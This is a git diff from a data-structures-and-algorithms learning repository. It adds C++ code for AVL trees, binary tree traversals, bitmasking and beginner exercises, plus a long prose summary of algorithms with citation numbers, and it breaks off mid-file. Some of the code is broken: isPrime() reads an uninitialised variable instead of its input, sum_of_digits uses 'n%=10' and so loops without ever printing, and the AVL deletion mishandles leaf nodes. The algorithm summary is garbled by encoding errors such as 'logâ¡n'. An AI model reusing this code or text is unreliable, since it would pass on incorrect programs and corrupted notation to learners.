whether element +//deleted is from the left or right... These disinctions include +//1. L1 rotation - deletion from right, central node with balance factor 1 +//2. L-1 rotation - deletion from right, central node with balance factor -1 +//3. L0 rotation - deletion from right, central node with balance factor 0 (Any of L1 or L-1 is applicable) +//4. R1 rotation - deletion from left, central node with balance factor 1 +//5. R-1 rotation - deletion from left, central node with balance factor -1 +//6. R0 rotation - deletion from left, central node with balance factor 0 (Any of R1 or R-1 is applicable) + +#include +#define endl "\n" +using namespace std; + +struct Node{ + Node *lchild; + int data; + Node *rchild; + int height; +}*root = NULL; + +int NodeHeight(Node *p); +int BalanceFactor(Node *p); +Node* LLRotation(Node *p); +Node* LRRotation(Node *p); +Node* RRRotation(Node *p); +Node* RLRotation(Node *p); +int Height(Node *p); + +//Main program for Deletion +Node* InPre(Node *p){ + while(p && p->rchild) + p = p->rchild; + return p; +} + +Node* InSucc(Node *p){ + while(p && p->lchild) + p = p->lchild; + return p; +} + +Node* Delete(Node *p, int key){ + Node *t; + if(p == NULL) return NULL; + if(p->lchild == NULL && p->rchild == NULL){ + if(p == root) + p = NULL; + delete p; + return NULL; + } + + if(key < p->data) + p->lchild = Delete(p->lchild, key); + else if(key > p->data) + p->rchild = Delete(p->rchild, key); + else{ + if(Height(p->lchild) > Height(p->rchild)){ + t = InPre(p->lchild); + p->data = t->data; + p->lchild = Delete(p->lchild, t->data); + } + else{ + t = InSucc(p->rchild); + p->data = t->data; + p->rchild = Delete(p->rchild, t->data); + } + } + p->height = NodeHeight(p); + + //Modification + if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) //Type L1 + return LLRotation(p); + else if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1) //Type L-1 + return LRRotation(p); + else if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 0) //Type L0 + return LLRotation(p); //Alternatively, can also use LRRotation + else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1) //Type R1 + return RRRotation(p); + else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1) //Type R-1 + return RLRotation(p); + else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 0) //Type R0 + return RRRotation(p); + return p; +} + +//Insert Start +int NodeHeight(Node *p) +{ + int h1, h2; + h1 = p&&p->lchild?p->lchild->height:0; + h2 = p&&p->rchild?p->rchild->height:0; + return h1>h2?h1+1:h2+1; +} + +int BalanceFactor(Node *p){ + int hl, hr; + hl = p&&p->lchild?p->lchild->height:0; + hr = p&&p->rchild?p->rchild->height:0; + return hl-hr; +} + +//Rotations +Node* LLRotation(Node *p){ + Node* pl = p->lchild; + Node* plr = pl->rchild; + p->lchild = plr; + pl->rchild = p; + + pl->height = NodeHeight(pl); + p->height = NodeHeight(p); + if(root == p) + root = pl; + return pl; +} + +Node* LRRotation(Node *p){//Insertion + Node* pl = p->lchild; + Node* plr = pl->rchild; + pl->rchild = plr->lchild; + p->lchild = plr->rchild; + plr->lchild = pl; + plr->rchild = p; + + pl->height = NodeHeight(pl); + p->height = NodeHeight(p); + plr->height = NodeHeight(plr); + if(root == p) + root = plr; + return plr; +} + +Node* RRRotation(Node *p) +{ + Node* pr = p->rchild; + Node* prl = pr->lchild; + p->rchild = prl; + pr->lchild = p; + + pr->height = NodeHeight(pr); + p->height = NodeHeight(p); + if(root == p) + root = pr; + return pr; +} + +Node* RLRotation(Node *p){ + Node* pr = p->rchild; + Node* prl = pr->lchild; + + p->rchild = prl->lchild; + pr->lchild = prl->rchild; + prl->lchild = p; + prl->rchild = pr; + + p->height = NodeHeight(p); + pr->height = NodeHeight(pr); + prl->height = NodeHeight(prl); + + if(root == p) root = prl; + return prl; +} + +Node* RInsert(Node *p, int key){ + if(p == NULL){ + p= new Node; + p->data = key; + p->height = 1; + p->lchild = p->rchild = NULL; + } + if(key < p->data) + p->lchild = RInsert(p->lchild, key); + else if(key > p->data) + p->rchild = RInsert(p->rchild, key); + + p->height = NodeHeight(p); + if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) + return LLRotation(p); + else if(BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1) + return LRRotation (p); + else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1) + return RRRotation(p); + else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1) + return RLRotation(p); + return p; +} +//Insert Complete + +int Height(Node *p){ + if(p) + { + int x, y; + x = Height(p->lchild); + y = Height(p->rchild); + return x>y?x+1:y+1; + } + return 0; +} + +int main() +{ + int a[] = {20, 10, 30, 40}; + int n = sizeof(a)/sizeof(a[0]); + root = RInsert(root, a[0]); + for(int i=1; i < n; i++) + RInsert(root, a[i]); + + int key; + cout << "Enter Value to Delete : "; + cin >> key; + root = Delete(root, key); + + return 0; +} \ No newline at end of file diff --git a/DSA/AVL Trees/Insertion b/DSA/AVL Trees/Insertion new file mode 100644 index 000000000..9de88f930 Binary files /dev/null and b/DSA/AVL Trees/Insertion differ diff --git a/DSA/AVL Trees/Insertion.cpp b/DSA/AVL Trees/Insertion.cpp new file mode 100644 index 000000000..2e9bc5a5c --- /dev/null +++ b/DSA/AVL Trees/Insertion.cpp @@ -0,0 +1,144 @@ +//Insertion in AVL Tree +//AVL trees are balanced Binary Search Trees. +//Wee have a new Term call balanced factor +//balanced factor = height of left subtree - height of right subtree +//If balanced factor ranges in {-1, 0, 1} for each node, then the tree is balanced +//Otherwise it's imbalanced. + +//AVL Trees use LL-Rotation, RR-Rotation, LR-Roation, and RR-Rotation to generate a balanced Tree while inserting +//each node after checking for it's balancing factor and identifying the imbalanced nodes. +//In order to save time, we take an extra variable height for each node containing the height of the node or +//maximum levels beneath it. + +#include +#define endl "\n" +using namespace std; + +struct Node{ + Node *lchild; + int data; + int height; + Node *rchild; +}*root = NULL; + +//Finding the Height of the Node +int NodeHeight(Node *p){ + int h1, h2; + h1 = p&&p->lchild?p->lchild->height:0; + h2 = p&&p->rchild?p->rchild->height:0; + + return h1>h2?h1+1:h2+1; +} + +//Finding the Balanced Factor +int BalanceFactor(Node *p){ + int lh, rh; + lh = p&&p->lchild?p->lchild->height:0; + rh = p&&p->rchild?p->rchild->height:0; + return lh-rh; +} + +//LL Rotation +Node* LLRotation(Node *p){ + Node *pl = p->lchild; + Node *plr = pl->rchild; + pl->rchild = p; + p->lchild = plr; + pl->height = NodeHeight(pl); + p->height = NodeHeight(p); + + if(root == p) + root = pl; + return pl; +} + +//LRRotation +Node* LRRotation(Node *p){ + Node *pl = p->lchild; + Node* plr = pl->rchild; + pl->rchild = plr->lchild; + p->lchild = plr->rchild; + plr->lchild = pl; + plr->rchild = p; + + pl->height = NodeHeight(pl); + plr->height = NodeHeight(plr); + p->height = NodeHeight(p); + if(root == p) + root = plr; + return plr; +} + +//RR Rotation +Node* RRRotation(Node *p){ + Node *pr = p->rchild; + Node *prl = pr->lchild; + p->rchild = prl; + pr->lchild = p; + + p->height = NodeHeight(p); + pr->height = NodeHeight(pr); + if(root == p) + root = pr; + return pr; +} + +//RL Rotation +Node* RLRotation(Node *p){ + Node *pr = p->rchild; + Node *prl = pr->lchild; + p->rchild = prl->lchild; + pr->lchild = prl->rchild; + prl->lchild = p; + prl->rchild = pr; + + p->height = NodeHeight(p); + pr->height = NodeHeight(pr); + prl->height = NodeHeight(prl); + if(root == p) + root = prl; + return prl; +} + +//Inserting into AVL Tree +Node* RInsert(Node *p, int key){ + if(p == NULL){ + p = new Node; + p->data = key; + p->lchild = p->rchild = NULL; + p->height = 1; + } + + if(key < p->data) + p->lchild = RInsert(p->lchild, key); + else if(key > p->data) + p->rchild = RInsert(p->rchild, key); + p->height = NodeHeight(p); + + if(BalanceFactor(p)==2 && BalanceFactor(p->lchild) == 1) + return LLRotation(p); + else if(BalanceFactor(p)==2 &&BalanceFactor(p->lchild) == -1) + return LRRotation(p); + else if(BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1) + return RRRotation(p); + else if(BalanceFactor(p)== -2 && BalanceFactor(p->rchild) == 1) + return RLRotation(p); + + return p; +} + +//Dummy Making it easier +Node* RInsert(int key){ + return RInsert(root, key); +} + +int main() +{ + int a[] = {10, 20, 30, 25, 28, 27, 5}; + int n = sizeof(a)/sizeof(a[0]); + root = RInsert(10); + for(int i=1; i < n; i++) + root = RInsert(a[i]); + + return 0; +} \ No newline at end of file diff --git a/DSA/Binary Trees/diameter_of_tree.cpp b/DSA/Binary Trees/diameter_of_tree.cpp new file mode 100644 index 000000000..2192658bd --- /dev/null +++ b/DSA/Binary Trees/diameter_of_tree.cpp @@ -0,0 +1,82 @@ +#include +using namespace std; + +struct node { + int data; + struct node *leftChild; + struct node *rightChild; +}; + +int height(struct node* node, int& diameter) { + if (!node) { + return 0; + } + int lh = height(node->leftChild, diameter); + int rh = height(node->rightChild, diameter); + diameter = max(diameter, lh + rh); + return 1 + max(lh, rh); +} + +//insertion +struct node *root = NULL; +void insert(int data){ + struct node *tempNode = (struct node*) malloc(sizeof(struct node)); + struct node *current; + struct node *parent; + tempNode->data = data; + tempNode->leftChild = NULL; + tempNode->rightChild = NULL; + + //if tree is empty + if(root == NULL) { + root = tempNode; + } else { + current = root; + parent = NULL; + while(1) { + parent = current; + + //go to left of the tree + if(data < parent->data) { + current = current->leftChild; + + //insert to the left + if(current == NULL) { + parent->leftChild = tempNode; + return; + } + }//go to right of the tree + else { + current = current->rightChild; + + //insert to the right + if(current == NULL) { + parent->rightChild = tempNode; + return; + } + } + } + } +} + +int main(){ + int i,n; + vector vec; + cout<<"Enter the no of nodes:"; + cin>>n; + cout<<"Enter elements in a tree"; + for(i = 0; i < n; i++){ + int x; + cin>>x; + vec.push_back(x); + } + for(int i=0 ;i +#include +using namespace std; + +struct node { + int data; + struct node *leftChild; + struct node *rightChild; +}; +struct node *root = NULL; +void insert(int data){ + struct node *tempNode = (struct node*) malloc(sizeof(struct node)); + struct node *current; + struct node *parent; + tempNode->data = data; + tempNode->leftChild = NULL; + tempNode->rightChild = NULL; + + //if tree is empty + if(root == NULL) { + root = tempNode; + } else { + current = root; + parent = NULL; + while(1) { + parent = current; + + //go to left of the tree + if(data < parent->data) { + current = current->leftChild; + + //insert to the left + if(current == NULL) { + parent->leftChild = tempNode; + return; + } + }//go to right of the tree + else { + current = current->rightChild; + + //insert to the right + if(current == NULL) { + parent->rightChild = tempNode; + return; + } + } + } + } +} +void inorder_traversal(struct node* root){ + if(root != NULL) { + inorder_traversal(root->leftChild); + printf("%d ",root->data); + inorder_traversal(root->rightChild); + } +} +int main(){ + int i,n; + vector vec; + cout<<"Enter the no of nodes:"; + cin>>n; + cout<<"Enter elements in a tree"; + for(i = 0; i < n; i++){ + int x; + cin>>x; + vec.push_back(x); + } + for(int i=0 ;i +using namespace std; + +struct node { + int data; + struct node *leftChild; + struct node *rightChild; +}; + +long long kthLargestLevelSum(struct node* root, int k) { + vector>v; + int i,n; + if(!root)return -1; + queueq; + priority_queuepq; + q.push(root); + while(!q.empty()){ + n=q.size(); + long long sum=0; + for(i=0;idata; + if(x->leftChild)q.push(x->leftChild); + if(x->rightChild)q.push(x->rightChild); + } + pq.push(sum); + } + if(pq.size()data = data; + tempNode->leftChild = NULL; + tempNode->rightChild = NULL; + + //if tree is empty + if(root == NULL) { + root = tempNode; + } else { + current = root; + parent = NULL; + while(1) { + parent = current; + + //go to left of the tree + if(data < parent->data) { + current = current->leftChild; + + //insert to the left + if(current == NULL) { + parent->leftChild = tempNode; + return; + } + }//go to right of the tree + else { + current = current->rightChild; + + //insert to the right + if(current == NULL) { + parent->rightChild = tempNode; + return; + } + } + } + } +} + +int main(){ + int i,n,k; + vector vec; + cout<<"Enter the no of nodes:"; + cin>>n; + cout<<"kth largest number:"; + cin>>k; + cout<<"Enter elements in a tree"; + for(i = 0; i < n; i++){ + int x; + cin>>x; + vec.push_back(x); + } + for(int i=0 ;i +using namespace std; + +struct node { + int data; + struct node *leftChild; + struct node *rightChild; +}; + +int maxDepth(struct node* root){ + if(root == NULL) return 0; + int left = maxDepth(root->leftChild); + int right = maxDepth(root->rightChild); + return max(left, right) + 1; +} + +//insertion +struct node *root = NULL; +void insert(int data){ + struct node *tempNode = (struct node*) malloc(sizeof(struct node)); + struct node *current; + struct node *parent; + tempNode->data = data; + tempNode->leftChild = NULL; + tempNode->rightChild = NULL; + + //if tree is empty + if(root == NULL) { + root = tempNode; + } else { + current = root; + parent = NULL; + while(1) { + parent = current; + + //go to left of the tree + if(data < parent->data) { + current = current->leftChild; + + //insert to the left + if(current == NULL) { + parent->leftChild = tempNode; + return; + } + }//go to right of the tree + else { + current = current->rightChild; + + //insert to the right + if(current == NULL) { + parent->rightChild = tempNode; + return; + } + } + } + } +} + +int main(){ + int i,n; + vector vec; + cout<<"Enter the no of nodes:"; + cin>>n; + cout<<"Enter elements in a tree"; + for(i = 0; i < n; i++){ + int x; + cin>>x; + vec.push_back(x); + } + for(int i=0 ;i +using namespace std; +struct node { + int data; + struct node *leftChild; + struct node *rightChild; +}; +struct node *root = NULL; +void insert(int data){ + struct node *tempNode = (struct node*) malloc(sizeof(struct node)); + struct node *current; + struct node *parent; + tempNode->data = data; + tempNode->leftChild = NULL; + tempNode->rightChild = NULL; + + //if tree is empty + if(root == NULL) { + root = tempNode; + } else { + current = root; + parent = NULL; + while(1) { + parent = current; + + //go to left of the tree + if(data < parent->data) { + current = current->leftChild; + + //insert to the left + if(current == NULL) { + parent->leftChild = tempNode; + return; + } + }//go to right of the tree + else { + current = current->rightChild; + + //insert to the right + if(current == NULL) { + parent->rightChild = tempNode; + return; + } + } + } + } +} +void post_order_traversal(struct node* root){ + if(root != NULL) { + post_order_traversal(root->leftChild); + post_order_traversal(root->rightChild); + printf("%d ", root->data); + } +} +int main(){ + int i,n; + vector vec; + cout<<"Enter the no of nodes:"; + cin>>n; + cout<<"Enter elements in a tree"; + for(i = 0; i < n; i++){ + int x; + cin>>x; + vec.push_back(x); + } + for(int i=0 ;i +using namespace std; + +struct node { + int data; + struct node *leftChild; + struct node *rightChild; +}; +struct node *root = NULL; +void insert(int data){ + struct node *tempNode = (struct node*) malloc(sizeof(struct node)); + struct node *current; + struct node *parent; + tempNode->data = data; + tempNode->leftChild = NULL; + tempNode->rightChild = NULL; + + //if tree is empty + if(root == NULL) { + root = tempNode; + } else { + current = root; + parent = NULL; + while(1) { + parent = current; + + //go to left of the tree + if(data < parent->data) { + current = current->leftChild; + + //insert to the left + if(current == NULL) { + parent->leftChild = tempNode; + return; + } + }//go to right of the tree + else { + current = current->rightChild; + + //insert to the right + if(current == NULL) { + parent->rightChild = tempNode; + return; + } + } + } + } +} +void pre_order_traversal(struct node* root){ + if(root != NULL) { + printf("%d ",root->data); + pre_order_traversal(root->leftChild); + pre_order_traversal(root->rightChild); + } +} +int main(){ + int i,n; + vector vec; + cout<<"Enter the no of nodes:"; + cin>>n; + cout<<"Enter elements in a tree"; + for(i = 0; i < n; i++){ + int x; + cin>>x; + vec.push_back(x); + } + for(int i=0 ;i>b=a/2^b + +#include +using namespace std; + +bool isOdd(int n) +{ + //AND operator + return(n&1); +} + +//find nth bit +int findBit(int n,int i) +{ + int mask=(1<0) + bit=1; + else + bit=0; + return bit; +} + +//clearing ith bit +void clearBit(int n, int i) +{ + int mask= ~(1<>i; + if(isOdd) + cout<<"odd"; + else + cout<<"even"; + cout< +using namespace std; +int main() { + int n; + cin>>n; + + while(n>0) + { + int last_digit=(n&1); + cout<>1; + } +} diff --git a/DSA/Bitmasking/unique_no.cpp b/DSA/Bitmasking/unique_no.cpp new file mode 100644 index 000000000..0f8e55adc --- /dev/null +++ b/DSA/Bitmasking/unique_no.cpp @@ -0,0 +1,18 @@ +#include +using namespace std; +int main() { + int n; + cin>>n; + int no,ans=0; + + + for(int i=0;i>no; + + //XOR operation + ans=ans^no; + } + + cout< target). Time complexity is O(logâ¡n).[20][1] +Ternary Search +Ternary Search finds the maximum or minimum of unimodal functions by dividing the search space into three parts. It compares function values at two points and eliminates one-third of the search space. Time complexity is O(logâ¡n).[1] +Quick Sort +Quick Sort is a divide-and-conquer algorithm that selects a pivot, partitions the array around it, then recursively sorts partitions. Average time complexity is O(nlogâ¡n), worst case is O(n^2).[1] +Merge Sort +Merge Sort divides the array into halves, recursively sorts them, then merges sorted halves. It's stable with guaranteed O(nlogâ¡n) time complexity.[1] +Counting Sort +Counting Sort is a non-comparison-based sorting algorithm for integers in a known range. It counts occurrences of each element and uses this to place elements in sorted order. Time complexity is O(n+k) where k is the range.[1] +Radix Sort +Radix Sort sorts integers by processing digits from least to most significant using a stable sort (like counting sort) for each digit. Time complexity is O(d(n+k)) where d is digit count.[1] +Order Statistics +Order Statistics finds the kth smallest/largest element without fully sorting. Quickselect algorithm achieves average O(n) time complexity.[21][1] +String Algorithms +Knuth-Morris-Pratt (KMP) +KMP performs pattern matching in O(n+m) time by avoiding re-examination of previously matched characters. It preprocesses the pattern to build a failure function (LPS array) indicating the longest proper prefix which is also a suffix. When a mismatch occurs, the pattern shifts using the failure function instead of starting over.[22][23][1] +Rabin-Karp Algorithm +Rabin-Karp uses rolling hash to find pattern occurrences. It computes hash values for the pattern and text windows, comparing hashes first (fast), then verifying character-by-character on hash matches. The rolling hash enables O(1) updates when sliding the window. Average time complexity is O(n+m), worst case is O(nm).[24][22][1] +Z Algorithm +Z Algorithm computes the Z array where Z[i] is the length of the longest substring starting at i that matches the prefix. It's used for pattern matching and finding all occurrences in O(n+m) time.[22][1] +Aho-Corasick Algorithm +Aho-Corasick efficiently searches for multiple patterns simultaneously in a text. It builds a trie of patterns with failure links for transitions on mismatches and output links for detecting overlapping matches. The algorithm processes text in linear time: O(n+m+z) where z is total occurrences. It's used in spam filtering, intrusion detection, and bioinformatics.[25][26][27][1] +Suffix Array +Suffix arrays store lexicographically sorted suffixes of a string. They enable efficient pattern matching, LCP (Longest Common Prefix) computation, and substring problems. Construction takes O(nlogâ¡n) with modern algorithms.[1] +Trie (Prefix Tree) +Trie is a tree structure where each node represents a character, enabling fast prefix queries and autocomplete. Insert, search, and prefix operations take O(m) time where m is string length. Space complexity is O(N×M×C) where N is number of strings, M is max length, C is alphabet size.[28][1] +Manacher's Algorithm +Manacher's finds the longest palindromic substring in linear time. It transforms the string to handle even/odd length palindromes uniformly, then uses previously computed palindrome information to avoid redundant comparisons. Time complexity is O(n).[22][1] +Number Theory and Mathematics +Euclidean Algorithm (GCD) +Euclidean algorithm computes the Greatest Common Divisor using the property gcd(a,b) = gcd(b, a mod b). Base case: gcd(a, 0) = a. Time complexity is O(logâ¡min(a,b)).[29][1] +Extended Euclidean Algorithm +Extended Euclidean finds integers x, y such that ax + by = gcd(a,b). It's used for finding modular multiplicative inverses. Time complexity is O(logâ¡min(a,b)).[29][1] +Sieve of Eratosthenes +Sieve of Eratosthenes finds all primes up to n by iteratively marking multiples of each prime as composite. Starting from 2, mark all multiples of each prime. Time complexity is O(nlogâ¡logâ¡n), space complexity is O(n).[30][1] +Segmented Sieve +Segmented Sieve finds primes in a range [L, R] efficiently when R is large but R-L is small. It first finds primes up to √R using standard sieve, then uses them to sieve [L, R]. Time complexity is O((R-L)logâ¡logâ¡R).[1] +Modular Arithmetic +Modular arithmetic operations include addition, subtraction, multiplication under modulo. Key properties: (a+b) mod m = ((a mod m) + (b mod m)) mod m. Used extensively in competitive programming for handling large numbers.[31][1] +Modular Exponentiation +Modular exponentiation computes a^b mod m efficiently using binary exponentiation. It repeatedly squares the base and reduces modulo m, multiplying result when corresponding bit in exponent is 1. Time complexity is O(logâ¡b).[31][29][1] +Modular Multiplicative Inverse +Modular inverse of a modulo m is x such that (a×x) mod m=1. It exists only if gcd(a,m) = 1. Can be computed using Extended Euclidean or Fermat's Little Theorem (when m is prime: a^(m-2) mod m). Time complexity is O(logâ¡m).[29][31][1] +Chinese Remainder Theorem (CRT) +CRT solves systems of congruences with pairwise coprime moduli. Given x ≡ câ‚ (mod nâ‚), x ≡ câ‚‚ (mod nâ‚‚), ..., it finds unique solution modulo N = nâ‚×n₂×.... Construction involves computing N_i = N/n_i, finding inverse of N_i mod n_i, then x = Σ(c_i × N_i × inverse). Used for computing large modular values.[29][1] +Euler's Totient Function +Euler's Totient φ(n) counts integers in [1, n] coprime to n. For prime p: φ(p) = p-1. For prime power: φ(p^k) = p^k - p^(k-1). Euler's Theorem: if gcd(a,n) = 1, then a^(φ(n))≡1 (mod n). Time complexity to compute is O(√n).[32][33][29][1] +Prime Factorization +Prime factorization decomposes n into prime powers. Trial division checks divisibility by primes up to √n. Time complexity is O(√n).[1] +Catalan Numbers +Catalan numbers appear in counting problems: binary trees, valid parentheses, polygon triangulations. The nth Catalan number is C_n=1/(n+1) (2n¦n)=((2n)!)/((n+1)!n!). Recurrence: C_n=∑_(i=0)^(n-1)▒  C_i C_(n-1-i).[1] +Advanced Data Structures +Segment Tree +Segment Tree supports range queries and updates in O(logâ¡n) time. Each node represents an interval and stores aggregate information (sum, min, max). Construction takes O(n), space is O(4n). Lazy propagation optimizes range updates by deferring computations until necessary.[34][28][1] +Fenwick Tree (BIT) +Fenwick Tree (Binary Indexed Tree) efficiently computes prefix sums and point updates in O(logâ¡n) time. It uses binary representation for indexing: update adds value to specific indices using i += i & -i, query sums using i -= i & -i. Space complexity is O(n), making it more memory-efficient than Segment Trees. However, it's primarily for prefix sums, while Segment Trees handle arbitrary ranges.[35][34][1] +Disjoint Set Union (DSU) +Union-Find maintains disjoint sets with two operations: find(x) returns set representative, union(x,y) merges sets. Path compression makes find flatten the tree by directly connecting nodes to root. Union by rank attaches smaller tree under larger one. With both optimizations, operations take nearly constant amortized time O(α(n)) where α is inverse Ackermann function. Used for cycle detection, Kruskal's MST, and connectivity queries.[36][37][1] +Sparse Table +Sparse Table answers static range queries (no updates) in O(1) after O(nlogâ¡n) preprocessing. It precomputes answers for all ranges of length 2^k using DP. Ideal for Range Minimum/Maximum Query (RMQ).[1] +Policy-Based Data Structures (PBDS) +PBDS in C++ provides ordered sets with additional operations: order_of_key(k) returns count of elements less than k, find_by_order(k) returns kth element. Operations take O(logâ¡n) time. Used for counting inversions and dynamic order statistics.[1] +K-D Tree +K-D Tree organizes points in k-dimensional space for efficient nearest neighbor and range search. Each level splits on a different dimension. Average query time is O(logâ¡n).[1] +Interval Tree +Interval Tree stores intervals and efficiently finds overlapping intervals with a query interval. Each node stores an interval and maximum endpoint in its subtree. Query time is O(logâ¡n+k) where k is matches.[1] +Computational Geometry +Convex Hull +Convex Hull is the smallest convex polygon enclosing all points. Graham Scan sorts points by polar angle from lowest point, then uses a stack to maintain hull vertices by checking cross products for left turns. Time complexity is O(nlogâ¡n). Jarvis March wraps around points selecting the most counterclockwise point at each step, with O(nh) complexity where h is hull size.[38][39][40][1] +Line Intersection +Line intersection determines if two line segments intersect using orientation tests via cross products. Checks if endpoints of each segment lie on opposite sides of the other segment. Time complexity is O(1) per pair.[39][1] +Point in Polygon +Point in Polygon tests if a point lies inside a polygon using the ray casting algorithm. Cast a ray from the point and count intersections with polygon edges; odd count means inside. Time complexity is O(n).[1] +Closest Pair of Points +Closest Pair finds the two points with minimum distance in O(nlogâ¡n) using divide-and-conquer. Divide points by x-coordinate, recursively solve, then check points near the dividing line.[1] +Sweep Line Algorithm +Sweep Line processes geometric events (points, segments) by sweeping a vertical line across the plane. Maintains active structures at current x-coordinate. Used for line intersection detection and rectangle union area.[1] +Network Flow and Matching +Ford-Fulkerson Algorithm +Ford-Fulkerson computes maximum flow in a flow network by repeatedly finding augmenting paths from source to sink in the residual graph. Each augmenting path increases flow by the minimum capacity along the path. The algorithm updates the residual graph by subtracting flow from forward edges and adding it to reverse edges. Time complexity depends on path-finding method; with arbitrary paths it's O(E×maxFlow).[41][42][43][44][1] +Edmonds-Karp Algorithm +Edmonds-Karp is Ford-Fulkerson using BFS to find shortest augmenting paths. BFS ensures paths have minimum edges, guaranteeing O(VE^2) time complexity. This bound is independent of flow values.[42][45][1] +Dinic's Algorithm +Dinic's improves max flow computation using level graphs and blocking flows. A level graph contains only edges on shortest paths from source. The algorithm finds blocking flows (paths where no additional flow can be pushed) in each level graph iteration. Time complexity is O(V^2 E), better in practice than Edmonds-Karp.[43][46][1] +Maximum Bipartite Matching +Maximum Bipartite Matching finds the largest matching in a bipartite graph. It can be solved by reducing to max flow: add source connected to left vertices, sink connected to right vertices, set all capacities to 1. Time complexity is O(VE) with specialized algorithms.[45][1] +Hungarian Algorithm +Hungarian algorithm solves the assignment problem (minimum weight perfect matching in bipartite graphs). It uses augmenting paths with reduced costs. Time complexity is O(n^3).[1] +Min Cut +Min Cut finds the minimum capacity cut separating source from sink. Max Flow Min Cut Theorem states that maximum flow equals minimum cut capacity. After computing max flow, vertices reachable from source in residual graph form one side of min cut.[45][1] +Game Theory +Nim Game +Nim is a two-player game with piles of stones; players alternate removing stones from a single pile. The player taking the last stone wins. Winning strategy: XOR all pile sizes; if result is 0, current player loses with optimal play, otherwise wins. The XOR is the Grundy number for Nim.[47][48][1] +Sprague-Grundy Theorem +Sprague-Grundy theorem assigns a Grundy number (nimber) to each state in impartial games. Grundy number is the MEX (minimum excludant) of Grundy numbers of reachable states. A state with Grundy number 0 is losing. For combined games, the Grundy number is XOR of individual game Grundy numbers. This reduces any impartial game to an equivalent Nim game.[49][50][48][47][1] +Minimax Algorithm +Minimax is used in zero-sum two-player games to find optimal moves assuming both players play perfectly. It recursively evaluates game tree: maximizing player chooses max child value, minimizing player chooses min child value. Alpha-beta pruning optimizes by eliminating branches that won't affect the final decision. Time complexity is O(b^d) where b is branching factor and d is depth.[1] +Advanced Techniques +Two Pointers Technique +Two Pointers uses two indices traversing a data structure to solve problems efficiently. Same direction: both pointers move forward, useful for subarrays with certain properties (sliding window). Opposite direction: pointers start at ends and move toward center, useful for pair sum in sorted arrays. Time complexity is typically O(n).[51][52][53][54] +Sliding Window +Sliding Window maintains a window over a sequence, expanding/shrinking based on conditions. Used for maximum/minimum subarray problems and substring problems. For fixed-size windows, add new element and remove old element; for variable size, expand until invalid, then shrink until valid. Time complexity is O(n).[55][1] +Binary Search on Answer +Binary search on answer applies binary search on the solution space rather than input array. For optimization problems, binary search on answer value and check feasibility with a decision function. Used for "minimize the maximum" or "maximize the minimum" problems. Time complexity depends on range and decision function.[19][1] +Meet in the Middle +Meet in the Middle divides the search space into two halves, solves each independently, then combines results. It reduces O(2^n) to O(2^(n/2)) by processing each half separately and merging with sorting or hashing. Used for subset sum and 4-sum problems.[51][1] +Divide and Conquer +Divide and Conquer breaks problems into smaller subproblems, solves recursively, then combines solutions. Examples include merge sort, quick sort, binary search, and closest pair. Time complexity often follows T(n)=2T(n/2)+O(n)=O(nlogâ¡n).[1] +Bit Manipulation +Bit manipulation uses bitwise operations for efficient computation. Key tricks: check if number is power of 2 with (n & (n-1)) == 0, count set bits with Brian Kernighan's algorithm, iterate subsets of mask with submask = (submask - 1) & mask. XOR properties: x ^ x = 0, x ^ 0 = x, used for finding unique elements.[1] +Matrix Exponentiation +Matrix exponentiation computes M^n in O(logâ¡n) using binary exponentiation. Used for solving linear recurrences like Fibonacci in O(logâ¡n). Construct transformation matrix T where state vector at step i+1 equals T times state vector at step i, then result is T^n times initial state.[19][1] +Mo's Algorithm +Mo's algorithm answers range queries offline by cleverly ordering queries to minimize pointer movements. Divide array into √n blocks, sort queries by (block number, right endpoint). Process queries in order, adding/removing elements from current range. Time complexity is O((n+q)√n). + diff --git a/DSA/CP series/Kth_frequency.cpp b/DSA/CP series/Kth_frequency.cpp new file mode 100644 index 000000000..5c87d9b7f --- /dev/null +++ b/DSA/CP series/Kth_frequency.cpp @@ -0,0 +1,28 @@ +#include +using namespace std; +int main() { + int n,k; + cin>>n>>k; + int a[n]; + + for(int i=0;i>a[i]; + + unordered_mapm; + vectorv; + + for(int i=0;ik) + v.push_back(x.first); + } + if(v.empty()) + cout<<"-1"; + else + for(auto x:v) + cout< +using namespace std; +int main() { + + float x=1.3; + + cout< +using namespace std; + +int isPrime() +{ + int n; + if(n<=1) + return 0; + + for(int i=2;i<=sqrt(n);i++) + { + if(n%i==0) + return 0; + } + return 1; +} + +int main() { + + int n; + cin>>n; + + if(isPrime()) + cout<<"prime"; + else + cout<<"not prime"; +} diff --git a/DSA/CP series/reverse_sqaured_sum.cpp b/DSA/CP series/reverse_sqaured_sum.cpp new file mode 100644 index 000000000..d37dc1a80 --- /dev/null +++ b/DSA/CP series/reverse_sqaured_sum.cpp @@ -0,0 +1,26 @@ +#include +using namespace std; +int main() { + + int n; + cin>>n; + + int a[n]; + for(int i=0;i>a[i]; + + int sum=0; + bool flag=true; + + for(int i=n-1;i>=0;i--) + { + if(flag==true) + sum+=a[i]*a[i]; + else + sum-=a[i]*a[i]; + + flag=!flag; + } + + cout< +using namespace std; +int main() { + + string s1,s2; + cin>>s1; + + for(int i=s1.size()-1;i>=0;i--) + s2.push_back(s1[i]); + + if(s1==s2) + cout<<"palindrome"; + else + cout<<"no"; +} diff --git a/DSA/CP series/sum_of_digits.cpp b/DSA/CP series/sum_of_digits.cpp new file mode 100644 index 000000000..2ff99c953 --- /dev/null +++ b/DSA/CP series/sum_of_digits.cpp @@ -0,0 +1,17 @@ +#include +using namespace std; + +int main() +{ + int n; + cin>>n; + int sum=0; + + while(n!=0) + { + int rem=n%10; + sum+=rem; + n%=10; + } + return 0; +} \ No newline at end of file diff --git a/DSA/CP series/sum_of_digits.exe b/DSA/CP series/sum_of_digits.exe new file mode 100644 index 000000000..c030d023c Binary files /dev/null and b/DSA/CP series/sum_of_digits.exe differ diff --git a/DSA/CSES_ProblemSet/Array_Division.cpp b/DSA/CSES_ProblemSet/Array_Division.cpp new file mode 100644 index 000000000..a65919042 --- /dev/null +++ 